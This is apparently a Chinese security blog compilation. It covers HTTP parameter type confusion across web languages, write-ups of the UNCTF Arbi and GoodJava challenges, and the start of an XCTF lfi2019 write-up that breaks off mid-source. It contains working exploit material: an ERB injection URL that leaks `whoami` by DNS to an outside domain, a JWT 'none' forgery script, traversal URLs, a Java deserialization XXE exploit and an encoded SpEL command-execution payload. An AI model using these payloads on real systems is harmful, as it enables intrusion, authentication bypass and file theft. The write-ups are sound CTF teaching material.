安全研究

前言

这个思路的起因是因为 今年的SCTF2019我出的一道Web题目 Flag Shop,当时这道题目我准备的考点只是一个ruby的小trick,并且有十几个队伍成功解出,但是在比赛的最后 VK师傅@Virink告知我这道题存在一个非预期 可以GetShell。这个非预期Getshell的知识点就是本文的主体内容,而后我在多个编程语言里进行了测试,发现很多语言也存在相似的问题。遂有了此文章。
在文章发布之前的UNCTF中,我把node.js在此攻击面上的问题单独抽离了出来做了一道题目。想看这道题wp的师傅可以移步另外一篇文章
推荐师傅们看此文章前,先看一遍 SCTF 2019 Flag Shop和 UNCTF arbi第三部分的Wp

SCTF flag shop Write-up flag-shop](https://github.com/ev0A/SCTF2019-Flag-Shop)

例题

我还是决定先从大家最喜欢的PHP讲起,请看这一道例题

<?php

$flag = "flag";

    if (isset ($_GET['ctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

这是Bugku的一道题目 相信大部分人都做过,考察的的是PHP的弱类型,这里只需要输入?ctf[]=1即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢

Ruby

为了让大家更快了解我的标题的含义,我直接用我当时flag shop非预期来做一个讲解

预期解

if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

这个就是我的Flag Shop中存在非预期的代码,如果对这道题不是特别了解的话可以去看看,buuctf有此题的复现环境http://buuoj.cn/ 再此感谢下赵总上题 [@glzjin ]()

这里简单讲一下 预期做法,就是此题用了一个ERB模板引擎,在此题条件下存在模板注入的问题,但是我限制了用户只能输入7位 字符串进行模板注入 就是上面的第一行

#{params[:name][0,7]}

这行代码 代表 url参数名是name 并取前七位,然后模板渲染并且可回显需要<%==> 标志,除去这5个字符只剩下2个字符可用 ,这道题就是两个字符进行模板注入爆破JWT-Secret。

非预期解

当然,上面是预期解的做法,下面讲讲非预期解的做法,

看文下面这个代码,大家就知道为什么会产生非预期了

$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

{}可以想象成 ${} 代表解析里面的变量
[0,3]可以想象成python的[0:3]
输出结果

[evoA@Sycl0ver]#> ruby test.rb
$a: qwe
$b: ["bbb", "cc", "d"]

这里,可以类比PHP中的弱类型,$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个trick,上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度emmmmmmm,于是

非预期exp

/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

直接实现了任意命令执行

解释

这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑

什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。
最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。
当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz

Javascript

数组和字符串

很多师傅是JS的忠实粉丝,因为其强大的灵活性和爽快的代码风格

但是JS不属于强类型语言,他也同样存在类似的问题

var a="abcedfghijtk"
var b=["qwe","rty","uio"]

console.log(a[2])
console.log(b[2])

输出:

[evoA@Sycl0ver]#> node test.js
c
uio

当然,仅仅是一个[]语法还是比较鸡肋的,我们需要找能同时兼容数组和字符串的函数或语法,JS中对数组和字符串通用的函数有哪些呢

测试代码

function contains(arr, obj) {
  var index = arr.length;
  while (index--) {
    if (arr[index] === obj) {
      return true;
    }
  }
  return false;
}
//两数组 取并集
function arrayIntersection (a,b){
  var len=a.length;
  var result=[];
  for(var index=0;index<len;index++){
    if(contains(b,a[index])){
          result.push(a[index]);
        }
  }
  return result;
}

console.log(arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor)))

输出结果

arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor))
(7) […]

0: "prototype"

1: "slice"

2: "indexOf"

3: "lastIndexOf"

4: "concat"

5: "length"

6: "name"

length: 7

<prototype>: Array []

这是数组和字符串通用的方法,除了原型对象自身的方法外,还有全局下的一些函数和语法,他们的参数既可以是数组,也可以是字符串。比如

/test/.test("asdtestasd")
/test/.test(["asdtestasd","123"])

字符串与数组拼接时也存在默认调用toString方法

> b+a
"qwe,rty,uioabcedfghijtk"

数组和对象和字符串

然而,Express框架中,有一个更神奇的特性,HTTP不仅可以传字符串和数组,还可以直接传递对象

var express = require('express');
var app = express();
app.get('/', function (req, res) {
   console.log(req.query.name)
   res.send('Hello World');
})
 
var server = app.listen(8081, function () {
  var host = server.address().address
  var port = server.address().port
 
})

输入

?name[123]=123&name[456]=asd

输出

{ '123': '123', '456': 'asd' }


我们把

console.log(req.query.name)

改成

console.log(req.query.name.password)

输入

/?name[password]=123456

输出

123456

我们来看几个好玩的

输入输出
?name[]=123456&name[][a]=123[ '123456', { a: '123' } ]
?name[a]=123456&name=b{ a: '123456', b: true }
?name[a]=123456&name[a]=b{ a: [ '123456', 'b' ] }
?name[][a]=123456&name[][a]=b[ { a: [ '123456', 'b' ] } ]

感觉有点像HPP漏洞,但实际又不是
unctf中,我就采用了 .length方法用来判断字符长度,而length也存在一个语法重复,可以对数组进行操作,通过url传入数组,构造恶习url即可绕过

结合一下数组和对象通用方法 我觉得,这方面express很多有趣的特性可以去发现

PHP

php可以从url中获取数组类型,然而可惜的是,php 对于数组和字符串 官方文档中说明,存在重复的语法很少,输出语法中,数组只会被替换为 "Array" 字符串。
但是,数组传入一些函数都会获得一些奇怪的返回值,这就是很多弱类型CTF题目的考法,可以通过url传入数组,进入一个函数,获得一个奇怪的返回值绕过。所以我觉得,在这个方向,PHP还是存在很大一片挖掘的领域的。

Python

Python的框架貌似不太支持http传入奇怪的东西

经测试

django 和 flask默认不支持传入奇怪的东西(只能传入字符串)

web2py框架支持传入列表

tornado的self.get_query_argument只会获取一个参数,self.get_query_arguments可以获取列表

很可惜,如果我们通过一种方式获取到非字符串类型的数据类型(比如json传递,xml传输等),在Python中,我们也能有好玩的方式

PS: Py不像Js那样,获取列表字典的值必须要用xxx["xxx"]的语法而不能用xxx.xxx

废话不多说 看代码

a = "qwertyuiop"

b = ["aaa","bbb","ccc","ddd"]

c = "----%s----" %b

print(a[:3])
print(b[:3])
print(c)

结果

[evoA@Sycl0ver]#> python test.py
qwe
['aaa', 'bbb', 'ccc']
----['aaa', 'bbb', 'ccc', 'ddd']----

同样,python也有全局方法 参数既可以是字符串也可以是变量

a=dir("123")
b=dir([1,2,3,4])
tmp = [val for val in a if val in b]
#取a b 交集
print tmp

结果

['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']

可能在这个攻击面上,Python原生提供的方法,确实比较难利用,但是还有很多库和函数没有去测试,我也相信,如果能有一个有趣的数据传输方式,配合python那么多的库和函数,也会有很多很多有趣的攻击方式

Java

其实我在没测试的时候就猜到了结果

测试发现Springboot 存在HPP漏洞,多个url参数会自动拼接 并用,分割,并不会转换类型

原生JSP & Servlet 在这个方面不存在任何漏洞 果然Java严格数据类型还是牛逼(破音

Go

我不会什么Go的框架,只测试了Beego,由于Go的强类型

beego也是提供严格的变量获取方法,调用方法的不同决定了参数的类型

比如GetString 返回字符串 GetInt 返回整形 GetStrings返回字符数组,把url变量相同的放到一个数组中

所以正常来说,Go也是真的很安全的

asp & aspx

测试只发现存在HPP漏洞,多个参数用","分割,不能变为其他数据类型

后话

当然,这些利用方式比较单调,除了node有一定的花样外,其他的都比较单一,但是我们也可把眼光方法放大,除了url传参,还有json,xml

所以大部分情况下,可能接下来的攻击面只能利用在服务端会解析Json数据的情况下,对于Py中的Json数据,我们可以伪造以下数据类型

- Read More -
Web

前言

这次UNCTF 我一共出了两道Web题目,一道node.js (Arbi)一道Java(GoodJava),由于比赛宣传力度可能不是特别大,再加上比赛周和很多的大型线下赛冲突,所以很多师傅都没有来参加比赛,有一点小遗憾。本次准备的两道题目都是花了很长时间准备的(特别是Arbi),下面就分享一下题目的解法,并且由于arbi这道题目我用了一个我认为比较新的攻击面,所以我会在写另一篇文章单独讲这个攻击面(真的绝对不是凑稿费XD
并且由于题目被安恒买断,我不能在互联网上公开题目的搭建dockerfile,但是这两道题目是公开的代码审计,所以我可以放出题目的源码,搭建就麻烦各位师傅花一点点时间,如果有搭建不成功的也可以私我询问,敬请谅解

Arbi

这道题的出题思路是在SCTF被非预期后想到的,采用和当时一样的非预期攻击面(具体可以移步另一篇
为了增加题目难度,我与[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)
的一道题的trick相结合,加上一点点node的特性,于是就有了这道题
可能由于第一关脑洞有点大==,这道题虽然第一天就放了出来,但是很多师傅刚开始都没拿到源码,最终这道题放了6个hint,终于在6天后的 比赛最后一天被解了出来Orz

第一关

首先浏览题目,可以发现页面只有登陆注册,查看返回包,可以发现X-Powered-By告知了网站采用express构建
注册登录以后首页会显示一个派大星的图片和用户名
图片.png
查看源代码可以发现可疑ssrf
图片.png
但是如果更换src参数会提示,"Evil request!"
这个其实试一试就很容易猜到,这个路由的后端代码会匹配请求的url和用户名是否对应,在后面给的hint也可以得到这个结果
源码:
图片.png
然后其实服务器的9000端口开了个SimpleHTTPServer,(题目描述)hint也讲的很清楚
如果直接访问/upload/evoA.jpg 也可以访问到图片,所以可以推断出,SimpleHTTPServer的根目录很可能在web根目录下,由于express的路由无法直接访问源代码文件,但是因为SimpleHTTPServer的原因,我们可以通过这个端口直接获取源码文件

这里就是第一个考点,虽然我们不知道node的入口文件是什么(大部分可能是app.js或者main.js,但此题不是)
node应用默认存在package.json,我们可以通过读取这个文件获取入口文件,由于上面说了ssrf接口会判断用户名是否匹配请求的url,所以我们可以注册一个恶意的用户名,"../package.json?"
这里?刚好把后面的.jpg给截断了,登录以后已经没有派大星了(图片内容是package.json的内容)
图片.png
把图片下下来用文本打开,即可看到package.json文件内容
图片.png
可以得到flag在/flag中,并且项目主入口是mainapp.js,继续注册文件名,一步一步爬源码
读到routers/index.js的时候可以看到源码路由(为了防止师傅们做题爬的太辛苦)访问下载源码即可
图片.png
第一关以拿到源码结束

第二关

审计源码,可以发现有一个读文件的敏感操作在一个admin23333_interface的路由中,但是这个路由会鉴权用户是不是admin,所以第二关的核心任务是如何成为admin,(注册时不能注册admin用户的)
这里我参考了[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)这道题
但是为了防止做题的时候被师傅们搜到,我对照这个功能,重新写了一遍代码。
具体代码就不贴了,师傅们可以自己看源码,我讲一下大概逻辑
首先注册登陆采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候通过用户传过来的id取出对应的secret_token来解密jwt,如果解密成功就算登陆成功。
这里就是第二个考点

node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密
图片.png
因为服务端 通过

 var secret = global.secretlist[id];
 jwt.verify(req.cookies.token,secret);

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

# pip3 install pyjwt
import jwt
token = jwt.encode({"id":-1,"username":"admin","password":"123456"},algorithm="none",key="").decode(encoding='utf-8')
print(token)

替换jwt后使用admin/123456登陆即可成功伪造admin
图片.png
第二关就结束了

第三关

其实第三关才是我最想出出来的,但是由于思路不够,第三关感觉太简单了,所以前面设置了很多坎
成为admin后,就可以访问admin23333_interface接口,审计可以发现,这是一个读取文件的接口 这里用到了express的特性,当传入?a[b]=1的时候,变量a会自动变成一个对象 a = {"b":1} 所以可以通过传入name为一个对象,避开进入if判断 从而绕过第一层过滤
if(!/^key$/im.test(req.query.name.filename))return res.sendStatus(500); 第二个过滤是 判断filename 不能大于3,否者会过滤.和/,而读取flag需要先目录穿越到根目录
而../就已经占了3个字符,再加上flag肯定超过限制,
这时候可以换个思路,length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美恢复数组为字符串绕过过滤,
而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a =
[123,456],所以最终组合成

/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g

GoodJava

此题参考了最近的TMCTF,经过了改编 加大了难度

第一关

题目会提供一个Jar包
用idea打开反编译后审计源码
找到Controller
图片.png

源码可知一共有两个路由
第二个路由需要输入secret密钥才能访问,而secret存在在服务器/passwd文件中
可以猜测第一个路由就是获取密钥文件的功能,跟进可以发现OIS类继承了ObjectInputStream,把POST数据传入OIS构造方法,而然后ois.readObject()则是反序列化操作
但是resolveClass方法限制了被反序列化的类只能是com.unctf.pojo.Man类
查看Man类,可以发现重写了readObject方法,这是Java反序列化的魔术方法,审计一下很容易发现XXE,根据代码构造XXE读passwd即可
PS: 需要注意一下本地构造时包名和serialVersionUID必须一致,此值代表了对象的版本或者说id,值不一致反序列化操作会失败
这里有个小考点,这里限制了xml数据不能含有file(大小写),而我们需要读取/passwd
这里有个trick,Java里面有个伪协议netdoc,作用和file一致,都是读取文件,所以这一步很简单,把file换成netdoc即可
注意一下本地构造包名也必须一致哦,不仅仅是类名一致就行
Man类加一个writeObject即可
详细步骤可以看看https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/exploit_300

exp

output

第二关

然后就是第二步,考点是代码执行绕过
这里有个SPEL注入,可以构造任意类,但是同样代码过滤了Runtime|ProcessBuilder|Process|class
这三个Java中执行命令的类,题目提示必须执行命令才能拿到flag,然后Java又是强类型语言,很多操作不像php那么动态,所以这一步可能会难住很多人
然后这里有个trick,java内部有个javascript的解析器,可以解析javascript,而且在javascript内还能使用java对象
我们就可以通过javascript的eval函数操作
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("xxxxxxxxx")
由于不能使用关键字,我们可以通过字符串拼接来
http://juke.outofmemory.cn/entry/358362
exp里面也有对应的转换脚本

#------------------
payload = 'new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream())).readLine()'
#------------------
exp = ""
first_flag = True
for c in payload:
    c = ord(c)
    if first_flag:
        exp += '(T(java.lang.Character).toString({0}))'.format(str(c))
    else:
        exp += '.concat(T(java.lang.Character).toString(%s))' % str(c)
    first_flag = False
print(exp)

exp

package com.unctf.pojo;

import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
//import

public class Man implements Serializable {
    public String name;
    private static final long serialVersionUID = 54618731L;

    public Man(String name) {
        this.name = name;
    }



    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException{

        String payload = "<?xml version=\"1.0\"?><!DOCTYPE name [<!ENTITY test SYSTEM 'netdoc:///passwd'>]><name>&test;</name>";

        objectOutputStream.writeInt(payload.length());
        objectOutputStream.write(payload.getBytes());

    }
    private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
        int paramInt = aInputStream.readInt();

        byte[] arrayOfByte = new byte[paramInt];

        aInputStream.read(arrayOfByte);

        ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);

        DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();

        localDocumentBuilderFactory.setNamespaceAware(true);

        DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();

        Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);

        NodeList nodeList = localDocument.getElementsByTagName("tag");

        Node node = nodeList.item(0);

        this.name = node.getTextContent();
    }
}
package com.unctf;

import com.unctf.pojo.Man;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.ByteArrayRequestEntity;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.params.HttpMethodParams;
import org.junit.Test;

import java.io.*;


public class Exp {
    @Test
    public void exp001() throws IOException {
        String url = "http://192.168.221.129:8888//server";
//        String url = "http://localhost:8080/server";

        Man person = new Man("asd");
        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/raw");


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(person);


        ByteArrayRequestEntity byteArrayRequestEntity = new ByteArrayRequestEntity(new Base64().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(byteArrayOutputStream.toByteArray());
        postMethod.setRequestEntity(byteArrayRequestEntity);

        httpClient.executeMethod(postMethod);
        String responseBodyAsString = postMethod.getResponseBodyAsString();
        postMethod.releaseConnection();
        System.out.println("-------------------------------");

        System.out.println(responseBodyAsString);
    }
    @Test
    public void exp002() throws IOException {
        String url = "http://192.168.221.129:8888//admin";



        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        postMethod.setParameter("secret","k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj");

        String shellcode="(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(66)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41))";
        String payload="T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\").eval("+shellcode+")";

//        payload = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\")";
        postMethod.setParameter("name",payload);
        httpClient.executeMethod(postMethod);
        System.out.println(postMethod.getResponseBodyAsString());
        postMethod.releaseConnection();
        }



}

output

- Read More -
CTF

官方已放出源码
https://github.com/stypr/my-ctf-challenges/tree/master/XCTF_Finals_2019/lfi2019

前言

比赛打的很糟糕,太菜了,只会做这一道题,而且还是刚好考的知识点都了解,纯属运气,rp选手,其他题都是刘师傅C我,要开始闭关学习了
还有ROIS是真的强,做web跟喝水一样

源码

由于现在刚刚打完比赛,所以我把这道题完整的做题思路写出来,尽量保证跟我当时的想法一模一样(绝对不是凑字数

首先这道题放出来已经是第二天了,第一天我是0产出,很急,看到这个题的时候我也是没有想到能做出来,然而恰好思路对上了。

看题目,没有任何描述,只给了个网址,先访问网址,顺手抓包发现题目返回头给了个X-Hint,叫我访问这个路由
图片.png
打开后给了源码

 <?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
